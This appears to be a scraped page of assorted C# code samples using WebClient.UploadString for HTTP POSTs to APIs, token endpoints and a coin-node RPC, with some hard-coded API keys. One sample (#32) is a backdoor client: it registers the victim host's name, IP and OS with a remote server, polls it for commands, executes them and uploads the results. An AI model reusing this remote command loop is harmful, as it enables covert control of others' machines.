                // Console.WriteLine("请求异常:" + e.Message);
            }
            finally
            {
                client.Dispose();
            }
            return(result);
        }
Exemple #32
0
        static void Main(string[] args)
        {
            GeneralInfo infoObject  = new GeneralInfo();
            Operations  opsObj      = new Operations(infoObject);
            string      commandUri  = "http://192.168.193.128/getcommand.php";
            string      registerUri = "http://192.168.193.128/register.php";
            string      getResult   = "http://192.168.193.128/getresults.php";

            System.Net.WebClient webObj = new System.Net.WebClient();
            int exceptionCounter        = 0;

            string parameters = "hostname=" + infoObject.hostName + "&ip=" + infoObject.ipv4Adress + "&operatingsystem=" + infoObject.oSystem;

            webObj.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
            webObj.UploadString(registerUri, parameters);

            while (true)
            {
                if (exceptionCounter > 10)
                {
                    break;
                }
                try{
                    webObj.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
                    string takenCommand = webObj.UploadString(commandUri, parameters);

                    if (takenCommand.Length > 1)
                    {
                        string commandResult    = opsObj.CommandParser(takenCommand);
                        string resultParameters = "hostname=" + infoObject.hostName + "&ip=" + infoObject.ipv4Adress + "&result=" + commandResult;
                        webObj.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
                        webObj.UploadString(getResult, resultParameters);
                    }
                    System.Threading.Thread.Sleep(5000);
                    exceptionCounter = 0;
                }
                catch {
                    System.Threading.Thread.Sleep(5000);
                    exceptionCounter += 1;
                }
            }
        }
Exemple #33
0
        public static string PostXmlToUrl(string url, NameValueCollection col, RequestType type)
        {
            string returnmsg = "";
            string inputXML  = getXMLInput(col, Encoding.UTF8);

            using (System.Net.WebClient wc = new System.Net.WebClient())
            {
                returnmsg = wc.UploadString(url, type.ToString(), inputXML);
            }
            return(returnmsg);
        }
Exemple #34
0
        /// <summary>
        /// このクラスでの実行すること。
        /// </summary>
        /// <param name="runChildren"></param>
        public override void Run(bool runChildren)
        {
            string apiIds = ApiId;
            if (string.IsNullOrEmpty(ApiId))
            {
                apiIds = Rawler.Tool.GlobalVar.GetVar("YahooApiId");
            }
            if (string.IsNullOrEmpty(apiIds))
            {
                Rawler.Tool.ReportManage.ErrReport(this, "YahooApiIdがありません。SetTmpValで指定してください");
                return;
            }
            string apiId = apiIds.Split(',').OrderBy(n => Guid.NewGuid()).First();
            string baseUrl = "http://jlp.yahooapis.jp/KeyphraseService/V1/extract";
            var post = "appid=" + apiId + "&sentence=" +Uri.EscapeUriString(GetText());
            string result = string.Empty;
            try
            {
                System.Net.WebClient wc = new System.Net.WebClient();
                wc.Headers.Add("Content-Type","application/x-www-form-urlencoded");
                wc.Encoding = Encoding.UTF8;
                result = wc.UploadString(new Uri(baseUrl), "POST", post);
                wc.Dispose();
            }
            catch(Exception e)
            {
                ReportManage.ErrReport(this, e.Message +"\t"+GetText());
            }
            if (result != string.Empty)
            {
                var root = XElement.Parse(result);
                var ns = root.GetDefaultNamespace();
                var list = root.Descendants(ns + "Result").Select(n => new KeyphraseResult() { Keyphrase = n.Element(ns + "Keyphrase").Value, Score = double.Parse(n.Element(ns + "Score").Value) });

                List<string> list2 = new List<string>();
                foreach (var item in list)
                {
                    list2.Add(Codeplex.Data.DynamicJson.Serialize(item));
                }

                base.RunChildrenForArray(runChildren, list2);
            }
        }
 private string GetToken(LoginModel model)
 {
     //string URI = "http://localhost:59822//oauth/token";
     string URI = ConfigurationManager.AppSettings["as:TokenIssuer"].ToString();
     string myParameters = "Username="******"&Password="******"&grant_type=password";
     myParameters += "&client_id=414e1927a3884f68abc79f7283837fd1";
     using (System.Net.WebClient wc = new System.Net.WebClient())
     {
         wc.Headers[System.Net.HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
         try
         {
             string HtmlResult = wc.UploadString(URI, myParameters);
             Token token = new System.Web.Script.Serialization.JavaScriptSerializer().Deserialize<Token>(HtmlResult);
             return token.access_token;
         }
         catch (Exception e)
         {
             return "";
         }
     }
 }
Exemple #36
0
 /// <summary>
 /// 根据ip获取地址长串
 /// </summary>
 /// <param name="ip"></param>
 /// <returns></returns>
 public static string GetJson(string ip)
 {
     var url = "http://api.map.baidu.com/location/ip?ak=F454f8a5efe5e577997931cc01de3974&ip=" + ip + "&coor=bd09l";
     var wc = new System.Net.WebClient {Encoding = Encoding.UTF8};
     return wc.UploadString(url, "");
 }
Exemple #37
0
        //コマンド実行メソッド
        //成功→受信json
        //不成功→エラーメッセージ
        public string RunCommand(string method, object[] param)
        {
            string url="", json="";
            System.Web.Script.Serialization.JavaScriptSerializer jss
                = new System.Web.Script.Serialization.JavaScriptSerializer();
            url =
                (mona_info[2].IndexOf("http") == -1)
            ?
                "http://" + mona_info[2] + ":" + mona_info[3] + "/"
            :
                mona_info[2] + ":" + mona_info[3] + "/";
            try
            {
                //Refer for Bitcoin-Tool
                Dictionary<string, object> req = new Dictionary<string, object>();
                req.Add("jsonrpc", "2.0");
                req.Add("id", "1");
                req.Add("method", method);
                req.Add("params", param);
                json = jss.Serialize(req);
                System.Net.WebClient wc = new System.Net.WebClient();
                wc.Credentials = new System.Net.NetworkCredential(mona_info[0], mona_info[1]);
                wc.Headers.Add("Content-type", "application/json-rpc");
                json = wc.UploadString("http://" + mona_info[2] + ":" + mona_info[3], json);
                return json;

            }
            catch (Exception ex)
            {
                return "[MESSAGE]" + Environment.NewLine + ex.Message + Environment.NewLine + Environment.NewLine
                +"[SOURCE]" + Environment.NewLine + ex.Source + Environment.NewLine + Environment.NewLine
                + "[STACK_TRACE]" + Environment.NewLine + ex.StackTrace + Environment.NewLine + Environment.NewLine
                + "[TARGET_SITE]" + Environment.NewLine + ex.TargetSite + Environment.NewLine;
            }
        }
Exemple #38
0
 public static string PostXmlToUrl(string url, NameValueCollection col, RequestType type)
 {
     string returnmsg = "";
     string inputXML = getXMLInput(col, Encoding.UTF8);
     using (System.Net.WebClient wc = new System.Net.WebClient())
     {
         returnmsg = wc.UploadString(url, type.ToString(), inputXML);
     }
     return returnmsg;
 }
Exemple #39
0
 /// <summary>
 /// post数据到指定接口并返回数据
 /// </summary>
 public static string PostDataToUrl(string url, string postData)
 {
     string returnmsg;
     using (System.Net.WebClient wc = new System.Net.WebClient())
     {
         LogHelper.WriteInfoLog("WebClient方式请求url:" + url + "。data:" + postData);
         returnmsg = wc.UploadString(url, "POST", postData);
         LogHelper.WriteInfoLog("WebClient方式请求返回:" + returnmsg);
     }
     return returnmsg;
 }
Exemple #40
0
        /// <summary>
        /// Update Facebook status
        /// </summary>
        public bool UpdateStatus(string status)
        {
            System.Net.WebClient wc = new System.Net.WebClient();
            var result = wc.UploadString
                        ("https://graph.facebook.com/me/feed?access_token=" + token
                        , "message=" + status);

            // Expect the result to be a json string like this
            // {"id":"689847836_129432987125279"}
            return result.IndexOf ("id") > 0;
        }
Exemple #41
0
 private string ConnectToDB(string url, string param)
 {
     System.Net.WebClient wc = new System.Net.WebClient();
     wc.Headers.Set("Content-type", "application/x-www-form-urlencoded");
     uint retries = 0;
     string res = BANK_CONNECTION_ERROR;
     while (retries < BANK_SERVER_CONNECTION_RETRIES)
     {
         try
         {
             res = wc.UploadString(BANK_SERVER_URL + url, "passkey=" + BANK_PASSKEY + '&' + param);
             break;
         }
         catch (System.Net.WebException)
         {
             retries++;
             continue;
         }
     }
     return res;
 }